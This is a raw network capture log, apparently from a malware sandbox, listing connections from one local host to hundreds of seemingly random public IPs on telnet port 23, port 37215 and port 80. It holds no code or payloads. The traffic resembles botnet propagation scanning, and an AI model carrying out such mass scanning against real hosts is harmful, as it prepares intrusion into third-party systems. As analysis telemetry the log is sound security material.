Dec 3, 2024 23:01:53.805524111 CET	62862	23	192.168.2.23	151.116.191.93
Dec 3, 2024 23:01:53.805527925 CET	62862	23	192.168.2.23	118.44.253.122
Dec 3, 2024 23:01:53.805562973 CET	62862	23	192.168.2.23	191.138.163.103
Dec 3, 2024 23:01:53.805566072 CET	62862	23	192.168.2.23	190.64.193.204
Dec 3, 2024 23:01:53.805577040 CET	23	62862	54.34.162.71	192.168.2.23
Dec 3, 2024 23:01:53.805587053 CET	23	62862	201.137.104.24	192.168.2.23
Dec 3, 2024 23:01:53.805632114 CET	62862	23	192.168.2.23	54.34.162.71
Dec 3, 2024 23:01:53.805649996 CET	23	62862	23.178.69.192	192.168.2.23
Dec 3, 2024 23:01:53.805656910 CET	62862	23	192.168.2.23	201.137.104.24
Dec 3, 2024 23:01:53.805660009 CET	23	62862	151.45.234.31	192.168.2.23
Dec 3, 2024 23:01:53.805680037 CET	23	62862	19.242.235.96	192.168.2.23
Dec 3, 2024 23:01:53.805689096 CET	23	62862	186.99.67.255	192.168.2.23
Dec 3, 2024 23:01:53.805697918 CET	23	62862	88.58.252.206	192.168.2.23
Dec 3, 2024 23:01:53.805706024 CET	62862	23	192.168.2.23	23.178.69.192
Dec 3, 2024 23:01:53.805726051 CET	62862	23	192.168.2.23	151.45.234.31
Dec 3, 2024 23:01:53.805727005 CET	62862	23	192.168.2.23	186.99.67.255
Dec 3, 2024 23:01:53.805744886 CET	62862	23	192.168.2.23	19.242.235.96
Dec 3, 2024 23:01:53.805754900 CET	23	62862	216.144.211.209	192.168.2.23
Dec 3, 2024 23:01:53.805761099 CET	62862	23	192.168.2.23	88.58.252.206
Dec 3, 2024 23:01:53.805764914 CET	23	62862	23.241.1.122	192.168.2.23
Dec 3, 2024 23:01:53.805774927 CET	23	62862	42.123.55.43	192.168.2.23
Dec 3, 2024 23:01:53.805792093 CET	23	62862	198.244.14.214	192.168.2.23
Dec 3, 2024 23:01:53.805800915 CET	23	62862	131.66.245.176	192.168.2.23
Dec 3, 2024 23:01:53.805807114 CET	62862	23	192.168.2.23	23.241.1.122
Dec 3, 2024 23:01:53.805808067 CET	62862	23	192.168.2.23	42.123.55.43
Dec 3, 2024 23:01:53.805809975 CET	23	62862	47.205.59.35	192.168.2.23
Dec 3, 2024 23:01:53.805823088 CET	62862	23	192.168.2.23	216.144.211.209
Dec 3, 2024 23:01:53.805823088 CET	62862	23	192.168.2.23	198.244.14.214
Dec 3, 2024 23:01:53.805840015 CET	62862	23	192.168.2.23	131.66.245.176
Dec 3, 2024 23:01:53.805860996 CET	62862	23	192.168.2.23	47.205.59.35
Dec 3, 2024 23:01:53.805891991 CET	23	62862	163.228.101.1	192.168.2.23
Dec 3, 2024 23:01:53.805902004 CET	23	62862	81.200.11.97	192.168.2.23
Dec 3, 2024 23:01:53.805910110 CET	23	62862	82.93.92.100	192.168.2.23
Dec 3, 2024 23:01:53.805918932 CET	23	62862	52.62.52.247	192.168.2.23
Dec 3, 2024 23:01:53.805927038 CET	23	62862	217.248.222.120	192.168.2.23
Dec 3, 2024 23:01:53.805936098 CET	23	62862	25.171.208.35	192.168.2.23
Dec 3, 2024 23:01:53.805938005 CET	62862	23	192.168.2.23	81.200.11.97
Dec 3, 2024 23:01:53.805938005 CET	62862	23	192.168.2.23	82.93.92.100
Dec 3, 2024 23:01:53.805939913 CET	62862	23	192.168.2.23	163.228.101.1
Dec 3, 2024 23:01:53.805953979 CET	62862	23	192.168.2.23	217.248.222.120
Dec 3, 2024 23:01:53.805954933 CET	23	62862	154.77.30.76	192.168.2.23
Dec 3, 2024 23:01:53.805964947 CET	23	62862	152.238.67.196	192.168.2.23
Dec 3, 2024 23:01:53.805969954 CET	62862	23	192.168.2.23	52.62.52.247
Dec 3, 2024 23:01:53.805973053 CET	23	62862	69.234.123.214	192.168.2.23
Dec 3, 2024 23:01:53.805982113 CET	23	62862	195.2.179.98	192.168.2.23
Dec 3, 2024 23:01:53.805984020 CET	62862	23	192.168.2.23	25.171.208.35
Dec 3, 2024 23:01:53.805993080 CET	62862	23	192.168.2.23	152.238.67.196
Dec 3, 2024 23:01:53.805994987 CET	62862	23	192.168.2.23	154.77.30.76
Dec 3, 2024 23:01:53.806005001 CET	23	62862	4.50.202.15	192.168.2.23
Dec 3, 2024 23:01:53.806009054 CET	62862	23	192.168.2.23	69.234.123.214
Dec 3, 2024 23:01:53.806010962 CET	62862	23	192.168.2.23	195.2.179.98
Dec 3, 2024 23:01:53.806034088 CET	23	62862	110.48.93.180	192.168.2.23
Dec 3, 2024 23:01:53.806050062 CET	62862	23	192.168.2.23	4.50.202.15
Dec 3, 2024 23:01:53.806083918 CET	62862	23	192.168.2.23	110.48.93.180
Dec 3, 2024 23:01:53.806104898 CET	23	62862	13.99.66.224	192.168.2.23
Dec 3, 2024 23:01:53.806114912 CET	23	62862	57.44.107.6	192.168.2.23
Dec 3, 2024 23:01:53.806123018 CET	23	62862	32.251.189.50	192.168.2.23
Dec 3, 2024 23:01:53.806130886 CET	23	62862	32.114.146.223	192.168.2.23
Dec 3, 2024 23:01:53.806148052 CET	23	62862	105.255.215.218	192.168.2.23
Dec 3, 2024 23:01:53.806153059 CET	62862	23	192.168.2.23	13.99.66.224
Dec 3, 2024 23:01:53.806158066 CET	23	62862	169.80.56.190	192.168.2.23
Dec 3, 2024 23:01:53.806174040 CET	62862	23	192.168.2.23	57.44.107.6
Dec 3, 2024 23:01:53.806191921 CET	62862	23	192.168.2.23	32.251.189.50
Dec 3, 2024 23:01:53.806200981 CET	62862	23	192.168.2.23	32.114.146.223
Dec 3, 2024 23:01:53.806210041 CET	62862	23	192.168.2.23	105.255.215.218
Dec 3, 2024 23:01:53.806272984 CET	23	62862	208.199.60.226	192.168.2.23
Dec 3, 2024 23:01:53.806277990 CET	23	62862	209.198.156.204	192.168.2.23
Dec 3, 2024 23:01:53.806281090 CET	23	62862	77.216.165.229	192.168.2.23
Dec 3, 2024 23:01:53.806288004 CET	23	62862	111.163.217.105	192.168.2.23
Dec 3, 2024 23:01:53.806292057 CET	23	62862	191.127.126.92	192.168.2.23
Dec 3, 2024 23:01:53.806296110 CET	23	62862	105.119.36.43	192.168.2.23
Dec 3, 2024 23:01:53.806298971 CET	23	62862	170.134.158.17	192.168.2.23
Dec 3, 2024 23:01:53.806344986 CET	62862	23	192.168.2.23	169.80.56.190
Dec 3, 2024 23:01:53.806351900 CET	62862	23	192.168.2.23	209.198.156.204
Dec 3, 2024 23:01:53.806360960 CET	62862	23	192.168.2.23	208.199.60.226
Dec 3, 2024 23:01:53.806375027 CET	62862	23	192.168.2.23	77.216.165.229
Dec 3, 2024 23:01:53.806420088 CET	62862	23	192.168.2.23	111.163.217.105
Dec 3, 2024 23:01:53.806432962 CET	62862	23	192.168.2.23	191.127.126.92
Dec 3, 2024 23:01:53.806453943 CET	62862	23	192.168.2.23	105.119.36.43
Dec 3, 2024 23:01:53.806464911 CET	62862	23	192.168.2.23	170.134.158.17
Dec 3, 2024 23:01:53.806942940 CET	23	62862	141.152.62.27	192.168.2.23
Dec 3, 2024 23:01:53.806986094 CET	62862	23	192.168.2.23	141.152.62.27
Dec 3, 2024 23:01:53.821708918 CET	37215	36916	197.198.188.20	192.168.2.23
Dec 3, 2024 23:01:53.821954012 CET	36916	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:53.822467089 CET	43294	37215	192.168.2.23	156.208.58.152
Dec 3, 2024 23:01:53.822468042 CET	55660	37215	192.168.2.23	197.174.22.109
Dec 3, 2024 23:01:53.822468042 CET	33942	37215	192.168.2.23	41.243.122.209
Dec 3, 2024 23:01:53.822472095 CET	45290	37215	192.168.2.23	156.85.239.222
Dec 3, 2024 23:01:53.822474003 CET	33060	37215	192.168.2.23	156.191.133.121
Dec 3, 2024 23:01:53.822474957 CET	58152	37215	192.168.2.23	156.177.86.195
Dec 3, 2024 23:01:53.822505951 CET	53180	37215	192.168.2.23	156.1.156.161
Dec 3, 2024 23:01:53.822536945 CET	39884	37215	192.168.2.23	41.223.100.164
Dec 3, 2024 23:01:53.822573900 CET	58952	37215	192.168.2.23	197.213.172.174
Dec 3, 2024 23:01:53.822602987 CET	45240	37215	192.168.2.23	41.34.236.132
Dec 3, 2024 23:01:53.822633028 CET	41656	37215	192.168.2.23	41.204.44.51
Dec 3, 2024 23:01:53.822670937 CET	60102	37215	192.168.2.23	156.199.249.209
Dec 3, 2024 23:01:53.822711945 CET	36032	37215	192.168.2.23	156.131.78.126
Dec 3, 2024 23:01:53.822738886 CET	53578	37215	192.168.2.23	197.221.56.147
Dec 3, 2024 23:01:53.822777033 CET	60600	37215	192.168.2.23	197.192.25.36
Dec 3, 2024 23:01:53.822813034 CET	49848	37215	192.168.2.23	156.217.183.239
Dec 3, 2024 23:01:53.822838068 CET	35106	37215	192.168.2.23	197.254.55.87
Dec 3, 2024 23:01:53.822866917 CET	56720	37215	192.168.2.23	41.226.14.156
Dec 3, 2024 23:01:53.822906017 CET	45328	37215	192.168.2.23	197.97.186.246
Dec 3, 2024 23:01:53.822941065 CET	38136	37215	192.168.2.23	197.254.171.178
Dec 3, 2024 23:01:53.822977066 CET	53932	37215	192.168.2.23	156.218.51.71
Dec 3, 2024 23:01:53.823014975 CET	47124	37215	192.168.2.23	156.32.159.89
Dec 3, 2024 23:01:53.823043108 CET	41106	37215	192.168.2.23	197.32.245.136
Dec 3, 2024 23:01:53.823086023 CET	46208	37215	192.168.2.23	197.233.253.127
Dec 3, 2024 23:01:53.823129892 CET	43878	37215	192.168.2.23	156.135.20.0
Dec 3, 2024 23:01:53.823390007 CET	36916	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:53.823421955 CET	36916	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:53.823472977 CET	37134	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:53.826060057 CET	33040	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:53.826071978 CET	43080	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:53.826092958 CET	38306	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:53.826111078 CET	45230	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:53.826127052 CET	47666	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:53.826136112 CET	42838	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:53.826148987 CET	35032	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:53.826160908 CET	39060	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:53.826174974 CET	49198	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:53.826185942 CET	55612	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:53.826203108 CET	48434	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:53.826209068 CET	41746	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:53.826229095 CET	54120	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:53.826237917 CET	49656	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:53.826244116 CET	36330	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:53.826261044 CET	52468	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:53.826273918 CET	54794	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:53.826286077 CET	52810	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:53.826297998 CET	57660	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:53.826313019 CET	35320	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:53.826323986 CET	38850	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:53.826335907 CET	50942	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:53.826349974 CET	50320	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:53.826360941 CET	35974	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:53.826374054 CET	43622	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:53.826386929 CET	46298	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:53.826400042 CET	46154	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:53.826411009 CET	43434	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:53.826425076 CET	54672	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:53.826436043 CET	39856	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:53.826447964 CET	41618	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:53.826459885 CET	57264	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:53.826473951 CET	39006	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:53.826486111 CET	39498	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:53.826493979 CET	59944	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:53.826509953 CET	49718	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:53.826524019 CET	51190	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:53.826534986 CET	44206	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:53.826565027 CET	43092	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:53.826565981 CET	48586	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:53.826566935 CET	46614	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:53.826567888 CET	57126	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:53.826567888 CET	35440	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:53.826571941 CET	47876	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:53.826575994 CET	53972	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:53.826596975 CET	37630	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:53.826607943 CET	38398	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:53.826621056 CET	52264	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:53.826634884 CET	60320	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:53.826647043 CET	40596	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:53.858026028 CET	42998	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:53.858032942 CET	38670	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:53.858036995 CET	59660	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:53.954248905 CET	42836	443	192.168.2.23	91.189.91.43
Dec 3, 2024 23:01:54.082223892 CET	36916	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	125.193.62.224
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	94.213.216.51
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	79.168.133.225
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	182.148.50.171
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	31.161.56.210
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	211.100.18.247
Dec 3, 2024 23:01:54.097232103 CET	60046	80	192.168.2.23	158.147.7.202
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	8.165.237.23
Dec 3, 2024 23:01:54.097232103 CET	60046	80	192.168.2.23	160.92.42.164
Dec 3, 2024 23:01:54.097230911 CET	60046	80	192.168.2.23	50.99.218.207
Dec 3, 2024 23:01:54.097233057 CET	60046	80	192.168.2.23	60.236.149.204
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	89.196.210.142
Dec 3, 2024 23:01:54.097237110 CET	60046	80	192.168.2.23	24.16.125.78
Dec 3, 2024 23:01:54.097234011 CET	60046	80	192.168.2.23	118.247.106.89
Dec 3, 2024 23:01:54.097237110 CET	60046	80	192.168.2.23	211.205.157.247
Dec 3, 2024 23:01:54.097234011 CET	60046	80	192.168.2.23	70.118.63.56
Dec 3, 2024 23:01:54.097234964 CET	60046	80	192.168.2.23	42.98.239.40
Dec 3, 2024 23:01:54.097234011 CET	60046	80	192.168.2.23	144.90.247.152
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	130.210.96.151
Dec 3, 2024 23:01:54.097234011 CET	60046	80	192.168.2.23	199.231.117.174
Dec 3, 2024 23:01:54.097237110 CET	60046	80	192.168.2.23	34.174.67.246
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	158.251.31.119
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	173.241.127.243
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	148.43.20.49
Dec 3, 2024 23:01:54.097234964 CET	60046	80	192.168.2.23	204.199.195.246
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	58.171.66.204
Dec 3, 2024 23:01:54.097234964 CET	60046	80	192.168.2.23	39.254.103.223
Dec 3, 2024 23:01:54.097235918 CET	60046	80	192.168.2.23	202.1.236.3
Dec 3, 2024 23:01:54.097234964 CET	60046	80	192.168.2.23	175.228.146.226
Dec 3, 2024 23:01:54.097234964 CET	60046	80	192.168.2.23	50.73.209.238
Dec 3, 2024 23:01:54.097289085 CET	60046	80	192.168.2.23	93.64.44.61
Dec 3, 2024 23:01:54.097289085 CET	60046	80	192.168.2.23	49.141.90.19
Dec 3, 2024 23:01:54.097289085 CET	60046	80	192.168.2.23	125.186.160.249
Dec 3, 2024 23:01:54.097289085 CET	60046	80	192.168.2.23	205.175.177.9
Dec 3, 2024 23:01:54.097289085 CET	60046	80	192.168.2.23	196.34.158.19
Dec 3, 2024 23:01:54.097290993 CET	60046	80	192.168.2.23	114.217.37.162
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	126.203.228.186
Dec 3, 2024 23:01:54.097290993 CET	60046	80	192.168.2.23	218.117.87.127
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	179.40.227.66
Dec 3, 2024 23:01:54.097292900 CET	60046	80	192.168.2.23	161.78.104.120
Dec 3, 2024 23:01:54.097290993 CET	60046	80	192.168.2.23	178.22.56.35
Dec 3, 2024 23:01:54.097292900 CET	60046	80	192.168.2.23	53.23.176.84
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	37.142.59.26
Dec 3, 2024 23:01:54.097290993 CET	60046	80	192.168.2.23	156.192.247.17
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	167.132.122.16
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	126.74.15.54
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	85.49.104.176
Dec 3, 2024 23:01:54.097296953 CET	60046	80	192.168.2.23	134.105.146.64
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	212.202.144.84
Dec 3, 2024 23:01:54.097297907 CET	60046	80	192.168.2.23	145.180.134.20
Dec 3, 2024 23:01:54.097290993 CET	60046	80	192.168.2.23	182.85.246.106
Dec 3, 2024 23:01:54.097297907 CET	60046	80	192.168.2.23	138.44.173.29
Dec 3, 2024 23:01:54.097296953 CET	60046	80	192.168.2.23	53.173.79.50
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	38.157.155.11
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	98.220.114.138
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	220.54.47.159
Dec 3, 2024 23:01:54.097296953 CET	60046	80	192.168.2.23	153.159.243.45
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	178.179.165.100
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	62.164.84.176
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	132.249.73.127
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	167.142.233.18
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	167.210.174.42
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	79.33.97.38
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	19.169.134.217
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	39.111.32.46
Dec 3, 2024 23:01:54.097291946 CET	60046	80	192.168.2.23	223.90.36.158
Dec 3, 2024 23:01:54.097318888 CET	60046	80	192.168.2.23	181.57.199.201
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	198.136.7.7
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	117.142.7.112
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	51.193.165.226
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	210.69.162.82
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	70.125.81.125
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	31.248.122.66
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	185.11.52.215
Dec 3, 2024 23:01:54.097326040 CET	60046	80	192.168.2.23	4.133.40.230
Dec 3, 2024 23:01:54.097323895 CET	60046	80	192.168.2.23	58.57.207.73
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	38.68.110.79
Dec 3, 2024 23:01:54.097323895 CET	60046	80	192.168.2.23	169.172.233.14
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	36.219.80.13
Dec 3, 2024 23:01:54.097321987 CET	60046	80	192.168.2.23	207.169.48.201
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	91.231.21.225
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	138.175.239.88
Dec 3, 2024 23:01:54.097323895 CET	60046	80	192.168.2.23	186.15.54.74
Dec 3, 2024 23:01:54.097326040 CET	60046	80	192.168.2.23	36.236.196.80
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	51.94.189.14
Dec 3, 2024 23:01:54.097333908 CET	60046	80	192.168.2.23	40.205.125.182
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	98.22.180.69
Dec 3, 2024 23:01:54.097326040 CET	60046	80	192.168.2.23	57.56.89.204
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	39.65.193.246
Dec 3, 2024 23:01:54.097332001 CET	60046	80	192.168.2.23	186.3.126.125
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	9.85.10.245
Dec 3, 2024 23:01:54.097326040 CET	60046	80	192.168.2.23	160.229.35.221
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	182.48.144.216
Dec 3, 2024 23:01:54.097326040 CET	60046	80	192.168.2.23	149.66.30.90
Dec 3, 2024 23:01:54.097322941 CET	60046	80	192.168.2.23	219.159.31.177
Dec 3, 2024 23:01:54.097338915 CET	60046	80	192.168.2.23	223.147.178.11
Dec 3, 2024 23:01:54.097341061 CET	60046	80	192.168.2.23	49.27.156.162
Dec 3, 2024 23:01:54.097341061 CET	60046	80	192.168.2.23	211.75.220.188
Dec 3, 2024 23:01:54.097345114 CET	60046	80	192.168.2.23	41.212.16.210
Dec 3, 2024 23:01:54.097345114 CET	60046	80	192.168.2.23	206.60.140.37
Dec 3, 2024 23:01:54.097347021 CET	60046	80	192.168.2.23	157.184.205.205
Dec 3, 2024 23:01:54.097347021 CET	60046	80	192.168.2.23	62.129.111.203
Dec 3, 2024 23:01:54.097347021 CET	60046	80	192.168.2.23	219.229.13.38
Dec 3, 2024 23:01:54.097348928 CET	60046	80	192.168.2.23	78.90.143.9
Dec 3, 2024 23:01:54.097348928 CET	60046	80	192.168.2.23	9.177.67.179
Dec 3, 2024 23:01:54.097348928 CET	60046	80	192.168.2.23	207.131.3.42
Dec 3, 2024 23:01:54.097348928 CET	60046	80	192.168.2.23	135.54.203.25
Dec 3, 2024 23:01:54.097361088 CET	60046	80	192.168.2.23	144.14.152.90
Dec 3, 2024 23:01:54.097376108 CET	60046	80	192.168.2.23	200.99.213.111
Dec 3, 2024 23:01:54.097381115 CET	60046	80	192.168.2.23	181.102.101.205
Dec 3, 2024 23:01:54.097383022 CET	60046	80	192.168.2.23	167.125.100.228
Dec 3, 2024 23:01:54.097383976 CET	60046	80	192.168.2.23	163.84.199.212
Dec 3, 2024 23:01:54.097394943 CET	60046	80	192.168.2.23	17.238.158.95
Dec 3, 2024 23:01:54.097399950 CET	60046	80	192.168.2.23	86.190.8.42
Dec 3, 2024 23:01:54.097414017 CET	60046	80	192.168.2.23	43.186.188.230
Dec 3, 2024 23:01:54.097417116 CET	60046	80	192.168.2.23	65.242.28.172
Dec 3, 2024 23:01:54.097418070 CET	60046	80	192.168.2.23	191.133.84.92
Dec 3, 2024 23:01:54.097426891 CET	60046	80	192.168.2.23	155.3.216.108
Dec 3, 2024 23:01:54.097434998 CET	60046	80	192.168.2.23	159.25.16.27
Dec 3, 2024 23:01:54.097453117 CET	60046	80	192.168.2.23	74.241.225.23
Dec 3, 2024 23:01:54.097453117 CET	60046	80	192.168.2.23	206.25.196.16
Dec 3, 2024 23:01:54.097453117 CET	60046	80	192.168.2.23	108.32.128.87
Dec 3, 2024 23:01:54.097456932 CET	60046	80	192.168.2.23	13.40.215.221
Dec 3, 2024 23:01:54.097461939 CET	60046	80	192.168.2.23	74.224.79.64
Dec 3, 2024 23:01:54.097461939 CET	60046	80	192.168.2.23	59.70.19.184
Dec 3, 2024 23:01:54.097482920 CET	60046	80	192.168.2.23	210.42.32.186
Dec 3, 2024 23:01:54.097484112 CET	60046	80	192.168.2.23	13.57.89.20
Dec 3, 2024 23:01:54.097486973 CET	60046	80	192.168.2.23	153.240.3.51
Dec 3, 2024 23:01:54.097493887 CET	60046	80	192.168.2.23	172.72.29.155
Dec 3, 2024 23:01:54.097498894 CET	60046	80	192.168.2.23	163.36.238.78
Dec 3, 2024 23:01:54.097510099 CET	60046	80	192.168.2.23	218.139.24.132
Dec 3, 2024 23:01:54.097518921 CET	60046	80	192.168.2.23	71.150.11.190
Dec 3, 2024 23:01:54.097538948 CET	60046	80	192.168.2.23	88.142.96.38
Dec 3, 2024 23:01:54.097538948 CET	60046	80	192.168.2.23	64.241.229.109
Dec 3, 2024 23:01:54.097539902 CET	60046	80	192.168.2.23	202.156.72.39
Dec 3, 2024 23:01:54.097541094 CET	60046	80	192.168.2.23	45.14.25.29
Dec 3, 2024 23:01:54.097541094 CET	60046	80	192.168.2.23	136.112.148.169
Dec 3, 2024 23:01:54.097547054 CET	60046	80	192.168.2.23	68.190.7.135
Dec 3, 2024 23:01:54.097552061 CET	60046	80	192.168.2.23	141.25.52.148
Dec 3, 2024 23:01:54.097568035 CET	60046	80	192.168.2.23	147.29.43.156
Dec 3, 2024 23:01:54.097568035 CET	60046	80	192.168.2.23	176.178.135.134
Dec 3, 2024 23:01:54.097569942 CET	60046	80	192.168.2.23	90.48.61.214
Dec 3, 2024 23:01:54.097573996 CET	60046	80	192.168.2.23	199.133.119.80
Dec 3, 2024 23:01:54.097577095 CET	60046	80	192.168.2.23	194.23.178.8
Dec 3, 2024 23:01:54.097579956 CET	60046	80	192.168.2.23	138.97.128.251
Dec 3, 2024 23:01:54.097594976 CET	60046	80	192.168.2.23	190.153.237.103
Dec 3, 2024 23:01:54.097599030 CET	60046	80	192.168.2.23	209.175.246.201
Dec 3, 2024 23:01:54.097601891 CET	60046	80	192.168.2.23	179.198.168.138
Dec 3, 2024 23:01:54.097620010 CET	60046	80	192.168.2.23	123.213.185.74
Dec 3, 2024 23:01:54.097624063 CET	60046	80	192.168.2.23	151.206.56.100
Dec 3, 2024 23:01:54.097630978 CET	60046	80	192.168.2.23	46.149.135.219
Dec 3, 2024 23:01:54.097630978 CET	60046	80	192.168.2.23	195.182.185.191
Dec 3, 2024 23:01:54.097637892 CET	60046	80	192.168.2.23	154.42.191.139
Dec 3, 2024 23:01:54.097651005 CET	60046	80	192.168.2.23	129.123.72.88
Dec 3, 2024 23:01:54.097657919 CET	60046	80	192.168.2.23	83.117.26.241
Dec 3, 2024 23:01:54.097661972 CET	60046	80	192.168.2.23	13.197.217.110
Dec 3, 2024 23:01:54.097665071 CET	60046	80	192.168.2.23	139.198.242.212
Dec 3, 2024 23:01:54.097682953 CET	60046	80	192.168.2.23	100.50.83.176
Dec 3, 2024 23:01:54.097683907 CET	60046	80	192.168.2.23	146.118.106.0
Dec 3, 2024 23:01:54.097692966 CET	60046	80	192.168.2.23	112.167.15.25
Dec 3, 2024 23:01:54.097696066 CET	60046	80	192.168.2.23	132.142.22.35
Dec 3, 2024 23:01:54.097713947 CET	60046	80	192.168.2.23	142.148.204.73
Dec 3, 2024 23:01:54.097717047 CET	60046	80	192.168.2.23	74.201.66.73
Dec 3, 2024 23:01:54.097726107 CET	60046	80	192.168.2.23	212.154.58.249
Dec 3, 2024 23:01:54.097733021 CET	60046	80	192.168.2.23	113.40.234.2
Dec 3, 2024 23:01:54.097734928 CET	60046	80	192.168.2.23	92.158.18.113
Dec 3, 2024 23:01:54.097769022 CET	60046	80	192.168.2.23	145.182.117.146
Dec 3, 2024 23:01:54.097769022 CET	60046	80	192.168.2.23	89.249.124.177
Dec 3, 2024 23:01:54.097770929 CET	60046	80	192.168.2.23	41.138.138.50
Dec 3, 2024 23:01:54.097774982 CET	60046	80	192.168.2.23	137.197.227.251
Dec 3, 2024 23:01:54.097789049 CET	60046	80	192.168.2.23	84.168.219.85
Dec 3, 2024 23:01:54.097789049 CET	60046	80	192.168.2.23	178.88.211.93
